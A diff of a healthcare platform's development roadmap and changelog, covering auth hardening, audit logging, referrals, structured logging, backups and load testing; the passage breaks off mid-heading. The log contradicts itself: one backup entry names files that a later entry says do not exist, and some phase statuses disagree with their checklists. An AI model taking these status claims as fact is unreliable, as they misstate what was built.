model (unique nonce, userId, account, expiry) with a migration; a - dedicated `SEP10_SIGNING_SECRET` (never the payer/releaser keys, - validated at startup, never logged). Horizon is behind an injectable - seam so the 15 unit + 18 integration tests run with zero network. - Docs updated: ARCHITECTURE Β§4.10, essentials data-model map, - docs/api/README.md (endpoints + errors + unfunded behaviour). -- 2026-10-15 β€” Started Phase 8's auth-hardening work, scoped as issues #34 (email verification), #35 (login brute-force throttling), #37 (CSRF - for the cookie-authenticated endpoints + per-environment CORS allowlist) and #39 (admin account lifecycle). All four are independent of Phases - 3–7 and of each other. #34 merged as PR #137: `User.emailVerifiedAt` + - a hashed/expiring/single-use `EmailVerificationToken` table (backfilled - as verified for existing rows), `POST /auth/verify-email`, - `POST /auth/verify-email/resend` (account-scoped, rate-limited), and a - `requireVerifiedEmail` guard on booking + payment mutations β€” never on - login/browsing. Also added - `backend/scripts/mark-email-verified.mjs` as the documented interim for - operating a deployment before an email provider exists (issue #17), and - flagged that dependency in ARCHITECTURE.md Β§6.1.5. - - #35 merged as PR #138: a Postgres `LoginAttempt` - table with per-email and per-IP buckets, moved by a single conditional - upsert (`INSERT ... ON CONFLICT DO UPDATE`) so concurrent bad logins are - counted atomically, exponential backoff with a `Retry-After` header, a - bounded temporary lock that hammering can't extend, an admin - `/auth/login-attempts/clear` escape hatch, a prune interval, and a - `TRUST_PROXY` setting so throttling keys on the real client IP. Also - closed a related timing leak: an unknown email now pays the same bcrypt - comparison cost as a known one. - - #37 has landed as a PR: the refresh cookie is - `SameSite=None` cross-site, so `/auth/refresh` and `/auth/logout` now - require an `X-CSRF-Token` header whose value is a per-session claim - inside the refresh JWT (rotating with it), an `Origin` allowlist check, - and a per-environment CORS allowlist (`CORS_ORIGINS`). The classic - double-submit cookie was rejected for a concrete reason β€” a cookie set - by this API is third-party to `docforum.github.io`, so the web client - could never read it; the token travels in the response body. Integration - tests assert a - forged cross-origin request is rejected while the legitimate cross-site - client still succeeds. -- 2026-10-17 β€” Issue #40 (patient data export, right of access) opened as a - PR: export job + status + streamed download routes under - `/patients/me/export`, owner-only (doctors/admins `403`, someone else's id - `404`). An exporter registry (`src/export-sections.ts`) where each module - contributes its own section through its service β€” documented in - ARCHITECTURE.md Β§3.1 so new modules know to register. Bundles are written - page by page into bounded Postgres chunks (no object-storage provider yet - β€” recorded as ARCHITECTURE.md Β§6.3.4), expire after 24 h by default, and - are deleted by an interval cleanup job. Job state moves only through - conditional UPDATEs with an attempt fencing token, so concurrent workers - and crashed claims can't publish a partial bundle. -- 2026-10-17 β€” Issue #43 (AuditEvent foundation) opened as a PR: the - `AuditEvent` table (append-only, enforced by DB triggers; no FKs on - purpose), an `audit` module whose `record()` refuses to run outside a - transaction, an `X-Request-Id` middleware, and `GET /admin/audit-events` - with a keyset cursor. Wired into booking (inside `bookSlot`'s existing - transaction, after the slot claim β€” the concurrency guarantee is - unchanged), doctor verification (previous status read `FOR UPDATE`) and - payment fund/release/refund (status writes now conditional on the - observed state, so a racing second action gets 409 instead of silently - overwriting). Rollback coupling proven with a real injected DB failure, - not a mock. Phase 4 wiring explicitly left pending. -- 2026-10-20 β€” Added the PR conflict notifier workflow (see the CI item above): maintainers no longer need to manually ask authors to rebase after each merge. -- 2026-10-20 β€” Rebased the Phase 3 referral branch onto the current `main` - and resolved the merge by hand. The earlier merge commit had resolved - conflicts by taking `main`'s model definitions wholesale, which dropped - the branch's own work (the appointment lifecycle the referral cascade - depends on, the `Referral` relation fields, and the `Consultation`↔ - appointment link) and left two `AuditEvent` models in one schema β€” the - `prisma generate` failure CI reported (P1012). The branch is now - `main` + two commits (Phase 3 referral core, ADR 0006) with the union of - both sides' work, and the referral audit events go into `main`'s single - `AuditEvent` table instead of a second one. -- 2026-10-17 β€” Built the Phase 3 referral core on branch - `feat/referral-phase3-cascade-multi-loop-admin`: issues #5, #7 and - #65–#68 (plus the minimal #3/#4 slices they depend on β€” appointment - status transitions and a one-per-appointment `Consultation` record). - Schema: `Referral` filled in from its sketch, `Consultation` linked to - its appointment, `Appointment.availabilitySlotId` made nullable so a - cancellation can release a slot. The referral↔appointments cycle is - service-to-service in both directions (accept books through - `bookForReferral` β†’ `claimOpenSlot`; status transitions call back into - `applyAppointmentOutcome` inside the same transaction) β€” never a - repository import across the boundary. 42 unit tests + 55 integration - tests pass, including 8 genuinely concurrent accepts on one referral - (exactly one wins β€” the same proof shape as the booking test), batch - rollback, loop chains, cascade idempotency and admin-role gating. - - **One deliberate re-scope to review, not silently absorbed:** (1) - `target_doctor_id` is required, so the routing gap (ARCHITECTURE.md - Β§6.1.2 / issue #6) is closed for v1 by making unassigned referrals - impossible β€” and with it, PRD Β§8.2.2's distinct "waiting for a - specialist" state is unreachable rather than implemented. The ADR is - still owed. (2) `Referral.snapshotIntakeId` has no column, because - `IntakeForm` (issue #1) doesn't exist yet β€” the notes half of the - snapshot rule is real and enforced, the intake half is structurally - impossible to enforce and is noted as such rather than faked. - Issue #8 (time-based expiry) remains open: only the no-show cascade - reaches `expired`. The multi-referral decision (#66's ADR requirement) - is recorded as `docs/adr/0006-multiple-referrals-per-consultation.md`, - and the referral status machine is drawn out in ARCHITECTURE.md Β§4.4 - (#67's state-diagram DoD). Docs reconciled in the same change: - ARCHITECTURE.md Β§4.2–§4.4/Β§4.10/Β§5.2/Β§6.1.2/Β§6.2.2/Β§6.2.4, - ARCHITECTURE_ESSENTIALS.md data-model map + known gaps, PRD - Β§8.1.2–§8.1.4 and Β§8.2.1–§8.2.4, `docs/api/README.md` (which also still - listed `payments` as unimplemented β€” corrected), and this file's - Phase 2/3 status. - - **Audit trail (re-scoped 2026-10-20):** the referral admin actions are - recorded in the *existing* `AuditEvent` table (issue #43) as - `entity_type = 'Referral'` rows written through `auditService.record()` - in the same transaction as the referral change β€” not in a second, - referral-specific table. One audit trail, one set of append-only - triggers, one writer; `GET /referrals/admin/:id/audit-events` reads the - same rows the admin-wide `GET /admin/audit-events` serves. - -- 2026-10-20 β€” Closed an audit gap the Phase 3 referral work had - introduced: the referral **accept** path created an `Appointment` - through `bookForReferral` without writing an audit row, so it was the - one way to create an appointment that left no trail β€” and the existing - `appointment.booked` event's `origin` metadata (always `direct` until - then) was clearly built to tell the two booking paths apart. Fixed by - having the appointments module write `appointment.booked` for the - referral-origin booking too (`origin: 'referral'`, plus the referral id - it came from), and by recording the patient's own state change on the - referral as `referral.accepted` / `referral.declined` β€” both inside the - accept's transaction, so the decision and the appointment it produced - are recorded together or not at all. `declineReferral` now runs in a - transaction (it previously used the root client, which the audit helper - refuses by design). - - Two referral transitions are still **not** audited, and are recorded as - an open gap in ARCHITECTURE.md Β§4.10 rather than silently dropped: the - referral's *creation* (`null β†’ pending`) and the two the appointment - cascade drives (`accepted β†’ completed`, `accepted β†’ expired`), because - the cascade fires from inside the appointment's status transition, which - has no actor of its own to attribute. Both are owed when Phase 4/6 - wire the remaining state changes. Tests: two new integration cases - asserting the audit rows (the accept's two events, the decline's one) - against the real `AuditEvent` table. -- 2026-10-20 β€” Docs site: `docs/site/scripts/sync-docs.mjs` now rewrites repo-relative links in docforum-core's own synced files (ROADMAP, ARCHITECTURE, PRD, ADRs) to GitHub URLs, as it already did for the other repos. #153 added a relative link to `docs/adr/0006-multiple-referrals-per-consultation.md` in ROADMAP.md, which VitePress rejected as a dead link and which broke the docs deploy on `main`. -- 2026-10-21 β€” Started Phase 9's end-to-end care-thread integration test (issue #69): a single self-contained test in `backend/tests/integration/care-thread.test.mts` that drives book β†’ consult β†’ refer β†’ accept β†’ order β†’ fulfil β†’ release through HTTP only, against embedded Postgres with the escrow SDK mocked. Steps are phase-gated β€” booking/consult/refer/accept run now; order/fulfil/release are skipped with an explicit reason until Phases 4/5 land, so the scaffold merges first and each phase enables its own steps as it ships. Asserts invariants (referral snapshot equality, append-only orders, facility-only fulfillment, payment status), not just status codes. Runs as part of `test:integration` in CI, runtime under a minute. -- 2026-10-21 β€” Phase 9 structured logging landed: `pino` logger with a request-scoped child logger (`X-Request-Id` accepted or generated, echoed on the response), a redaction config for auth headers, cookies, passwords, tokens and PHI field paths (with unit tests asserting each is redacted), a `BigInt`-safe serialiser, and the error handler routed through the request-scoped logger (stacks server-side, safe envelope to the client). Log level is per-environment (`LOG_LEVEL`), quiet by default under test. The remaining `console.*` call sites and the `no-console` lint gate are follow-up scope, recorded in the Phase 9 item above. Phase 9 status updated to In progress; production deploy (issue #22) remains open. -- 2026-10-21 β€” Fixed the structured-logging change's syntax errors that failed local checks before push: a malformed string literal in `backend/tests/unit/logging-redaction.test.ts` and an invalid character in `backend/src/config/index.ts`. No behaviour change; the logging/redaction implementation described above is unchanged. -- 2026-10-21 β€” Fixed PR #189's CI failures: the missing `backend/src/logger.ts` (the module `request-id.ts`, `error-handler.ts` and the redaction tests import β€” implemented as the pino logger, redaction list, BigInt serialiser and request-child factory they expect), the `pino-logger` import typo (`from 'pino'`), a corrupted `package.json` (nonexistent `pg@^2.23.1` breaking `npm ci`, a `DATABASE_URL_TEST==` double equals, the `prisla:mygrate` script name, an `ARCHITECTURE0.md` typo, and a `lint:no-console` script pointing at a file that doesn't exist), `app.get('health')` β†’ `'/health'` (the missing slash 404'd the deploy health check), a mangled error-envelope comment in `error-handler.ts`, and the Phase 9 roadmap entry above (wrong logger path; overbroad "console.* replaced / ESLint rule / CI grep" claims). `pino-http` was dropped from the new dependencies: nothing imports it. Lockfile updated for `pino`. -- 2026-10-21 β€” Phase 9: automated Postgres backups with a tested restore drill ([issue #107](https://github.com/DocForum/docforum-core/issues/107)): `scripts/backup-postgres.sh` (gpg-encrypted `pg_dump`, retention), `scripts/restore-drill.sh` (guarded restore into a `_drill` database plus integrity checks), and a daily `.github/workflows/backup-restore-drill.yml`. ADR 0007. No schema or endpoint changes, so `ARCHITECTURE.md` Β§4 and `docs/api/README.md` are untouched. -- 2026-10-20 β€” Fixed the backup drill shipped above, which had never run. `backup-restore-drill.yml` was invalid YAML, so it failed on every push to `main` (broken `BACKUP_ENCRYPTION_KEY` expression and service `--health-cmd` options, missing `POSTGRES_USER`). Both scripts had shell syntax errors (`psal`, `-symmetric`, malformed heredocs, a broken `find -printf`, mangled parameter expansions). Also: gpg now reads the passphrase non-interactively (`--pinentry-mode loopback`); the restore drops and recreates the scratch database through the `postgres` maintenance database and only accepts plain identifiers; the backup log no longer prints the connection string (it contains the password). Corrected the roadmap entry, which described files that don't exist (`postgres-backup.yml`, `restore-drill.mjs`, `age`, `docs/backups.md`). Separately, `tests/integration/sessions.test.mts` moved its embedded Postgres from port 5438 to 5451, because 5438 is already used by `access-control.test.mts` and vitest runs integration files in parallel. -- 2026-10-21 β€” Phase 9: automated Postgres backups with a tested restore drill (issue #30). Encrypted logical backups (`pg_dump` piped through `age`, checksummed manifest, retention policy) scheduled in `.github/workflows/postgres-backup.yml`; a restore script (`scripts/restore-drill.mjs`) that restores the latest backup into a scratch database and runs integrity checks (row counts, migration version, a sample booking query), with hard safety guards β€” explicit confirmation flag, scratch-name pattern check, and refusal to target any live database by name or by matching `DATABASE_URL`/`STAGING_DATABASE_URL`/`PRODUCTION_DATABASE_URL`. The drill runs on a schedule in CI against staging backups and alerts on failure. RPO/RTO targets and the measured restore time are documented in `docs/backups.md`. Backups contain PHI, so encryption at rest and access control are mandatory and enforced in the workflow (artifact encryption key is a repo secret; artifacts are never uploaded unencrypted). No schema or endpoint changes, so `ARCHITECTURE.md` Β§4 and `docs/api/README.md` are untouched. -- 2026-10-20 β€” Hardened the PR automation against transient GitHub API errors. Today a single 500/503 response aborted a whole conflict-notifier run, so no PR after it got labelled. Both `pr-conflict-notifier.yml` and `pr-malware-scan.yml` now set `retries: 3` on `actions/github-script`, so 5xx responses are retried. The notifier also isolates each PR: a PR whose API calls still fail is skipped with a warning, listed as "API error, retried next run" in the run summary, and the remaining PRs are processed normally. -- 2026-10-21 β€” Added Phase 9 load tests (k6): doctor search, slot listing, and a booking-contention scenario (many VUs against a small slot pool). A seeding script creates realistic volumes (thousands of doctors and slots); a manual/nightly workflow runs them against a seeded local stack with enforced thresholds (p95 latency, zero double-bookings, error budget) and never against the shared Render preview. The contention scenario verifies exactly one booking per slot from the database after the run. First results and any motivated index/query fixes recorded in `backend/tests/load/REPORT.md`. -- 2026-10-22 β€” Fixed syntax errors in the Phase 9 k6 load scripts (`backend/tests/load/search.js`, `slots.js`, `booking-contention.js`) that failed the local syntax check before push (unterminated string literal, missing commas, stray identifier). No behaviour change to the scenarios or thresholds; the load-tests workflow and `REPORT.md` are unchanged. -- 2026-10-19 β€” Implemented issue #90's patient payment-history and facility - ledger APIs. Lists are owner-scoped and keyset-paginated; ledger totals - are aggregated in PostgreSQL and serialized as decimal strings. The - existing custodial v1 model has no `refund_after` field, so the API - returns `refundAfter: null` rather than implying a deadline exists. -- 2026-10-19 β€” Implemented issue #91's scheduled and manually dispatched - testnet payment workflow. Every run generates new test identities, - retries Friendbot with bounded jitter, reports infrastructure/contract - reset failures separately from assertion failures, and updates one open - tracking issue instead of posting repeated reports. -- 2026-10-19 β€” Implemented issue #92's pooled payout prototype. The call path - applies a testnet-only pool address override while keeping direct facility - payouts as the default in production and local environments, with the - configuration controlled by `PAYOUT_PRIVACY_MODE` and - `PAYOUT_PRIVACY_POOL_ADDRESS`. \ No newline at end of file +# ROADMAP.md β€” DocForum + +Status: Phase 0, Phase 1, and Phase 5.5 (Payments, custodial v1 β€” see +`docs/adr/0004-custodial-payments-v1.md`) built and tested. Phase 3 +(Referrals) is **in progress**: #5, #7 and #65–#68 implemented and +tested on branch `feat/referral-phase3-cascade-multi-loop-admin`, #6 and +#8 open. Phase 2 is partially unblocked by that work (#3/#4 minimal +slices), and the tokenised ICS calendar feed is done. Phases 2-6 and 8-9 otherwise scoped into GitHub issues +(#1-#22, #21 closed); Phase 7 is superseded by `docforum-web`'s own +roadmap. Phase 9's end-to-end care-thread integration test is in progress +(scaffold + phase-gated steps). See each phase section below for status +and issue links. + +> **Org note:** this repo (`docforum-core`) is the hub of a 3-repo `DocForum` org. Frontend work is tracked in `docforum-web`'s own roadmap. Stellar contract/SDK work is tracked in `docforum-escrow`'s own roadmap. This file tracks only what runs inside `docforum-core` β€” including the `payments` module, which *consumes* `docforum-escrow`'s published package but doesn't implement contract logic itself. + +> **This file must be updated by every contribution that starts, completes, or blocks any item below.** No exceptions β€” see `AGENTS.md` / `CLAUDE.md`. If your PR doesn't touch this file and it touched roadmap-tracked work, the PR is incomplete. + +## How to read this file +- Phases are meant to be worked **mostly in order** (each depends on Phase 0/1 being real), but **within a phase, items are designed to be independent** β€” see the per-phase GitHub issue breakdown (tracked separately once issues are created; this roadmap defines the work, issues execute it). +- Status values: `Not started`, `In progress`, `Blocked (reason)`, `Done`. +- Every phase must end with its docs (PRD/ARCHITECTURE/ARCHITECTURE_ESSENTIALS) reconciled β€” a phase isn't "Done" if the docs still describe the pre-phase state. + +--- + +## Phase 0 β€” Foundations & scaffolding +**Status: Done** +- [x] PRD.md +- [x] ARCHITECTURE.md +- [x] ARCHITECTURE_ESSENTIALS.md +- [x] AGENTS.md / CLAUDE.md +- [x] Repo folder structure (backend modules, frontend, docs, infra, .github) +- [x] Prisma schema skeleton (models named, fields mostly TODO) +- [x] This ROADMAP.md + +## Phase 1 β€” Identity, DB, and safe booking foundation +**Status: Built and tested. One item (Docker Compose) written but not verified running β€” see note.** +**Why first:** everything else depends on real users existing and on the booking concurrency guarantee (ARCHITECTURE.md Β§5.1) being real, not aspirational. + +- [x] Flesh out `User`, `PatientProfile`, `DoctorProfile`, `FacilityProfile`, `Specialty`, `DoctorSpecialty`, `FacilityCapability` in `schema.prisma` with real fields/relations. Migrated: `backend/prisma/migrations/20260914110638_init/`. +- [ ] Local dev DB via Docker Compose (`infra/docker`) β€” **file written, not exercised.** Verification tracked as [issue #27](https://github.com/DocForum/docforum-core/issues/27) (Trivial, 100 pts). No Docker in the environment this was built in, so the backend was developed and tested against a locally-installed Postgres (via the `embedded-postgres` devDependency β€” a prebuilt binary, not compiled) instead. The compose file matches `backend/.env.example`'s credentials but hasn't itself been run. See `infra/docker/README.md`. +- [x] Auth module: signup/login, JWT access+refresh, role middleware. `POST /auth/signup` rejects `role: 'facility'`/`'admin'` server-side (PRD OQ-2), not just in docforum-web's UI. Refresh token travels as an httpOnly cookie β€” see `docs/api/README.md` for the local-dev-only cookie caveat (cross-origin `sameSite`/`secure` not verified end-to-end). +- [x] Doctor verification status workflow (admin-gated, manual in v1 per PRD Β§6.1 FR-3). `PATCH /doctors/:id/verification`, admin-only. +- [x] `AvailabilitySlot` model finalized **with the DB-level constraint/transaction strategy** that prevents double-booking (ARCHITECTURE.md Β§5.1 / Β§6.1.1 β€” this is the single highest-priority correctness item in the whole roadmap). **Resolved, not just implemented** β€” see the integration test below. +- [x] Basic slot generation for a doctor (fixed-length, no recurrence engine β€” ARCHITECTURE.md Β§6.3.6). `POST /availability/doctors/:id/slots/generate`, idempotent re-runs. +- [x] Integration test: two concurrent booking attempts on the same slot β€” exactly one must succeed. `backend/tests/integration/booking.test.mts` β€” 8 genuinely concurrent requests via `Promise.all`, self-contained (spins up its own throwaway Postgres, no pre-existing DB needed), passing. Also manually verified end-to-end via a full curl walkthrough (signup β†’ generate slots β†’ book β†’ second booking attempt correctly gets `409`). +- [x] Doc reconciliation: PRD Β§8.1.1 and ARCHITECTURE Β§6.1.1 marked resolved in place. + +## Phase 2 β€” Intake, appointments, consultations +**Status: In progress β€” #3, #4, #23 and the tokenised ICS calendar feed done; intake (#1/#2) not started. Scoped into issues #1–#4, #23 and the calendar-feed issue.** + +**Changelog:** Tokenised ICS calendar feed for doctors' schedules added β€” per-doctor rotatable/revocable feed token, `GET /calendar/:token.ics`, PHI-free events, `STATUS:CANCELLED` for cancellations, `ETag`/`Last-Modified` support, UTC times with `TZID` handling. +- [ ] `IntakeForm` model + structured symptom entry (not free-text-only, per PRD FR-5). Tracked as [issue #1](https://github.com/DocForum/docforum-core/issues/1) (Medium, 150 pts). +- [ ] Booking flow requires intake before confirmation. Tracked as [issue #2](https://github.com/DocForum/docforum-core/issues/2) (Medium, 150 pts) β€” depends on #1. +- [x] `Appointment` lifecycle (`scheduled β†’ completed/cancelled/no_show`) + doctor's today view. Tracked as [issue #3](https://github.com/DocForum/docforum-core/issues/3) (Medium, 150 pts) β€” lifecycle transitions were already implemented; this change adds `GET /appointments/doctor/today`, limited to the caller's doctor profile and scheduled appointments for the server-local day. Admin-on-behalf transitions remain out of scope. +- [x] `Consultation` record + outcome (`resolved | referred | follow_up_needed`). Tracked as [issue #4](https://github.com/DocForum/docforum-core/issues/4) (High, 200 pts) β€” **Done.** One writer (`consultationsService.createConsultation`) reached from three addresses β€” `POST /consultations` (Phase 3's slice), `POST /appointments/:id/consultation` (this issue's close route) and the orders flow's consultation step β€” all doctor-only, own- and `completed`-appointment-only, all requiring a verified email. `Consultation.appointmentId` `UNIQUE` is what makes "closed once" a DB constraint rather than app logic (`P2002` β†’ `409`); notes are stored encrypted (issue #46) and decrypted on read; every write carries one `consultation.closed` audit event in the same transaction. The column/unique index/FK already exist from `20261020000000_order_payment_intents`, so this PR adds no migration. No amendment/edit path in v1 β€” that stays an open question for when amendment work lands (docs/adr/0009). Integration test: `backend/tests/integration/consultation.test.mts` (scheduled β†’ `409`, closed once, second close `409` via either address, one row, decrypted read for doctor + patient, other-doctor read `403` / close `404`, patient close `403`). **Verification note:** the checked-in integration suites cannot run in this sandbox (embedded Postgres `initdb` is refused); they run in CI on the merge. +- [x] Doctor discovery: `GET /specialties`, `PUT /doctors/me/specialties`, and public verified-only `GET /doctors` with specialty, typo-tolerant name/specialty search, and keyset pagination. Tracked as [issue #23](https://github.com/DocForum/docforum-core/issues/23) and extended by [issue #128](https://github.com/DocForum/docforum-core/issues/128). `docforum-web` issue #1 can fetch slot details separately by doctor id. +- [ ] Patient-facing view: my intake history. Not yet split into its own issue β€” small enough to fold into whichever of the above lands last, or split out later if it grows. +- [x] Tokenised ICS calendar feed for doctors' schedules: per-doctor secret feed token (rotatable and revocable, rotation immediately invalidates the old URL) and `GET /calendar/:token.ics`. Events carry only the time, `DocForum appointment` and a deep link β€” no patient name, intake or reason; cancellations are emitted as `STATUS:CANCELLED`; `ETag`/`Last-Modified` keep polling cheap; times are UTC with correct `TZID` handling. Token management lives in `doctors` (issue's "Files likely involved"), the feed in `appointments`. Subscription docs in `docs/api/README.md`; no schema fields invented beyond the token columns, which are recorded in `ARCHITECTURE.md` Β§4. Tests assert no PHI appears in the generated feed. + +## Phase 3 β€” Referrals +**Status: In progress β€” issues #5, #7 and #65–#68 are implemented and tested (unit + 5 self-contained integration suites); #6 (routing ADR) and #8 (time-based expiry job) remain open. Original scope was #5–#8; #65–#68 were opened later against the same phase for loop detection, multi-referral, cascade and admin overrides.** +- [x] `Referral` model with **immutable snapshot** of intake + notes (ARCHITECTURE.md Β§4.4 design note β€” do not implement as a live pointer), plus the "zero verified doctors in target specialty" edge case (PRD Β§8.2.2). Tracked as [issue #5](https://github.com/DocForum/docforum-core/issues/5) (Medium, 150 pts) β€” **done with two flagged deviations for review**: (a) `snapshot_notes` is a real copy written in the creation transaction and unreachable by any consultation-edit path, but `snapshotIntakeId` has no column because `IntakeForm` doesn't exist yet (issue #1) β€” the intake half of the snapshot is not yet enforceable; (b) the zero-verified-doctors case is **unreachable by construction** rather than surfaced as the distinct "waiting for a specialist" state the DoD asked for β€” v1 requires a concrete verified `target_doctor_id` (see #6 below). Creation is an explicit `POST /referrals` from a consultation rather than an implicit trigger on outcome `referred`; the outcome still records intent and the API enforces a completed appointment. +- [x] Referral creation from a `Consultation` with outcome `referred` β€” folded into issue #5 above. +- [x] Routing rule for referrals with no specific `target_doctor_id` (ARCHITECTURE.md Β§6.1.2 β€” resolved by ADR 0008, below). Tracked as [issue #6](https://github.com/DocForum/docforum-core/issues/6) (High, 200 pts) β€” an ADR. **Done, and the gap is closed:** [`docs/adr/0008-referral-routing-without-target-doctor.md`](docs/adr/0008-referral-routing-without-target-doctor.md) decides that a specialty-only referral is routed **at creation** to the least-loaded eligible doctor (verified, holds the specialty, not the referring doctor, active account; fewest `pending`+`accepted` referrals, ties by doctor id), keeping `target_doctor_id` NOT NULL so an unassigned referral still cannot exist. Zero eligible doctors fails the creation with `422 REFERRAL_NO_ELIGIBLE_TARGET` and writes no row. Implementation: `referrals/routing.ts` + the eligible-candidate lookup in `doctors/services`, wired into creation and the atomic batch (a batch never routes onto a doctor it names explicitly). Still not built, deliberately: PRD Β§8.2.2's patient-facing "waiting for a specialist" state (it needs a nullable target, which the ADR rejects) β€” flagged, not silently substituted. +- [x] Patient accept/decline flow (PRD OQ-3 resolved: patient must confirm). Tracked as [issue #7](https://github.com/DocForum/docforum-core/issues/7) (Medium, 150 pts) β€” depends on #5. **Done:** `POST /referrals/:id/accept` (conditional `pending β†’ accepted`, one winner under concurrency) and `POST /referrals/:id/decline` (pending-only, terminal). +- [x] Accepted referral auto-generates a pre-populated `Appointment` against the target doctor/specialty β€” patient does not re-enter intake (PRD FR-8, the core value prop) β€” folded into issue #7 above. **Done:** accept books through `appointments`' `bookForReferral` β†’ the same `claimOpenSlot` conditional UPDATE as a direct booking (`origin: 'referral'`), with the slot belonging to the target doctor enforced; no shortcut writes an `Appointment` row. +- [x] Referral expiry job (addresses PRD Β§8.1.3 "orphaned" pattern for referrals specifically). Tracked as [issue #8](https://github.com/DocForum/docforum-core/issues/8) (Medium, 150 pts) β€” depends on #5. **Done:** an interval sweep (`src/jobs/referral-expiry.ts`, no queue) expires `pending` referrals untouched for `REFERRAL_PENDING_TTL_DAYS` (default 14) via one conditional UPDATE; `expired` + `expiredReason = 'ttl'` is distinct from `declined`/`cancelled`, and the no-show cascade now records `no_show`. `accepted` referrals are never swept. Flagging the patient waits on Phase 6 notifications (the referring doctor's `referringDoctorNotifiedAt` seam is set). +- [x] Referral loop detection + max-hop limit (PRD Β§8.1.2). Tracked as [issue #65](https://github.com/DocForum/docforum-core/issues/65) (High, 200 pts). **Done:** lineage via `parent_referral_id`, bounded CTE walk, strict rule (repeat doctor/specialty anywhere in the chain β€” including the GP return β€” flags for the admin queue), hard `422` on self-referral and on chains over `REFERRAL_MAX_HOPS` (default 4). +- [x] Multiple simultaneous referrals from one consultation (PRD Β§8.2.4). Tracked as [issue #66](https://github.com/DocForum/docforum-core/issues/66) (High, 200 pts). **Done, including its ADR:** [`docs/adr/0006-multiple-referrals-per-consultation.md`](docs/adr/0006-multiple-referrals-per-consultation.md) records the decision (allowed; independent lifecycles, atomic all-or-none creation, grouped only for the patient view; no bundle table). Implementation: one snapshot copy per target, duplicate-specialty/doctor rejection, independent per-referral acceptance, patient list grouped by source consultation. +- [x] Cascade rules when a referral-origin appointment is cancelled or no-shows (PRD Β§8.2.3). Tracked as [issue #67](https://github.com/DocForum/docforum-core/issues/67) (High, 200 pts). **Done:** run inside the appointment's status transaction; cancelled β†’ referral back to `pending` with the slot released, first no-show β†’ `pending` + `noShowCount`, second β†’ `expired` + `referringDoctorNotifiedAt` (threshold is a v1 default, not a tuned value); all writes conditional so a doubled hook no-ops. +- [x] Admin referral operations: queue, reassign stuck referrals, override routing, audited. Tracked as [issue #68](https://github.com/DocForum/docforum-core/issues/68) (Medium, 150 pts). **Done:** `GET /referrals/admin/queue` (status / `olderThan` / `loopFlagged` filters, derived reason + age), `POST /referrals/admin/:id/reassign` (pending only, target column only β€” snapshot untouched), `POST /referrals/admin/:id/cancel` (closes a live appointment through the appointments service), `GET /referrals/admin/:id/audit-events`; reassign/cancel write the first `AuditEvent` rows (new table β€” ARCHITECTURE.md Β§4.10). +- [x] Doc reconciliation: ARCHITECTURE.md Β§4.2/Β§4.3/Β§4.4/Β§4.10/Β§5.2/Β§6, ARCHITECTURE_ESSENTIALS.md data model map + known gaps, PRD Β§8.1.2/Β§8.1.3/Β§8.1.4/Β§8.2.1–§8.2.4, `docs/api/README.md`. Done in this change β€” #6's ADR is *not* part of it and the gap is deliberately left noted. + +## Phase 4 β€” Orders: prescriptions & lab orders +**Status: Partially implemented (issue #76: facility-side fulfillment proof, patient confirm/dispute, unconfirmed order expiry, admin dispute queue implemented and tested).** +- [ ] `Prescription` + `PrescriptionItem` models, **append-only** (issuance creates a row; corrections use `supersedes_prescription_id` β€” ARCHITECTURE.md Β§4.5, hard rule in ARCHITECTURE_ESSENTIALS.md). Tracked as [issue #9](https://github.com/DocForum/docforum-core/issues/9) (High, 200 pts), which also covers `LabOrder`/`LabResult` (same append-only rule). +- [ ] `LabOrder` + `LabResult` models, same append-only rule β€” folded into issue #9 above. +- [ ] Specialist UI: issue prescription/lab order from a consultation. Tracked as [issue #10](https://github.com/DocForum/docforum-core/issues/10) (Medium, 150 pts) β€” depends on #9. +- [ ] Patient UI: view active/past orders. Tracked as [issue #11](https://github.com/DocForum/docforum-core/issues/11) (Medium, 150 pts) β€” depends on #9. +- [x] Facility fulfillment proof & patient confirmation/dispute workflow. Tracked as issue #76. Facility fulfillment requires reference number and optional attachment. Patient confirm-receipt/dispute are mutually exclusive via DB conditional update. Derived `confirmedSignal` boolean. Idempotent expiry job for unconfirmed orders. Admin dispute queue and append-only resolution logs. + +## Phase 5 β€” Facilities & fulfillment +**Status: Not started (blocked by Phase 4). Scoped into issues #13–#16.** +- [x] Resolve the polymorphic `FulfillmentRecord` design smell flagged in ARCHITECTURE.md Β§6.1.3 **before** building this phase β€” decide: keep polymorphic with constraints, or split into `PrescriptionFulfillment` / `LabOrderFulfillment`. Record the decision as an ADR in `docs/adr/`. Tracked as [issue #13](https://github.com/DocForum/docforum-core/issues/13) (High, 200 pts) β€” the prerequisite for the rest of this phase. **Done β€” decision: one table, no polymorphism** (`docs/adr/0012-fulfillment-record-typed-order-fks.md`): `order_type`/`order_id` are replaced by real `prescription_id`/`lab_order_id` FKs (each `UNIQUE`, a PostgreSQL `CHECK` requires exactly one β€” the mechanism `PaymentIntent` got in #85) plus the `facility_id` FK Β§4.7 left as a TODO, all three `RESTRICT`. Splitting was weighed and rejected: two tables mean two implementations of the Β§5.3 step-5 transition and a cross-table union for a facility's queue. Schema + migration landed; no code reads the row yet β€” #14 creates it, #15 owns the transition, #16 attaches `LabResult` through its existing table. +- [x] Facility account creation (admin-invited only per PRD OQ-2 β€” no self-serve facility signup in v1) + `FacilityCapability` matching (patient sees only qualified facilities for their specific order, PRD FR-13). Tracked as [issue #14](https://github.com/DocForum/docforum-core/issues/14) (Medium, 150 pts) β€” depends on #13. **Done β€”** admin-only `POST /facilities` (User + profile + capabilities + `facility.created` audit row, one transaction; `POST /auth/signup` still refuses the role) and fail-closed capability matching in `GET /facilities/eligible` + `listEligibleFacilitiesForOrderKind`: facilities missing/mismatching capability data show for nothing. ADR 0012's "`#14 creates the row at selection`" is **not** in this issue β€” no selection endpoint exists yet; the `FulfillmentRecord` write and the `β†’ fulfilled` transition land with #15. See `changelog.d/14-facility-creation-capability-matching.md`. +- [ ] Facility fulfillment UI: view assigned orders, mark in-progress/fulfilled/rejected, enforcing that `status` transitions to `fulfilled` **only** via the facility-confirmed path (ARCHITECTURE.md Β§5.3 step 5 β€” patient/doctor cannot self-mark). Tracked as [issue #15](https://github.com/DocForum/docforum-core/issues/15) (Medium, 150 pts) β€” depends on #13/#14. +- [ ] Lab result attachment (object storage integration β€” ARCHITECTURE.md Β§2 File/result storage row). Tracked as [issue #16](https://github.com/DocForum/docforum-core/issues/16) (Medium, 150 pts) β€” depends on #13. +- [ ] Address PRD Β§8.1.6 (facility fulfillment integrity) β€” at minimum, restrict which facilities can be selected to the curated/admin-invited list; document what's still unresolved if full anti-fraud isn't in scope for v1 β€” addressed by issue #14's admin-only gating; document any remaining gap in that issue's PR. + +## Phase 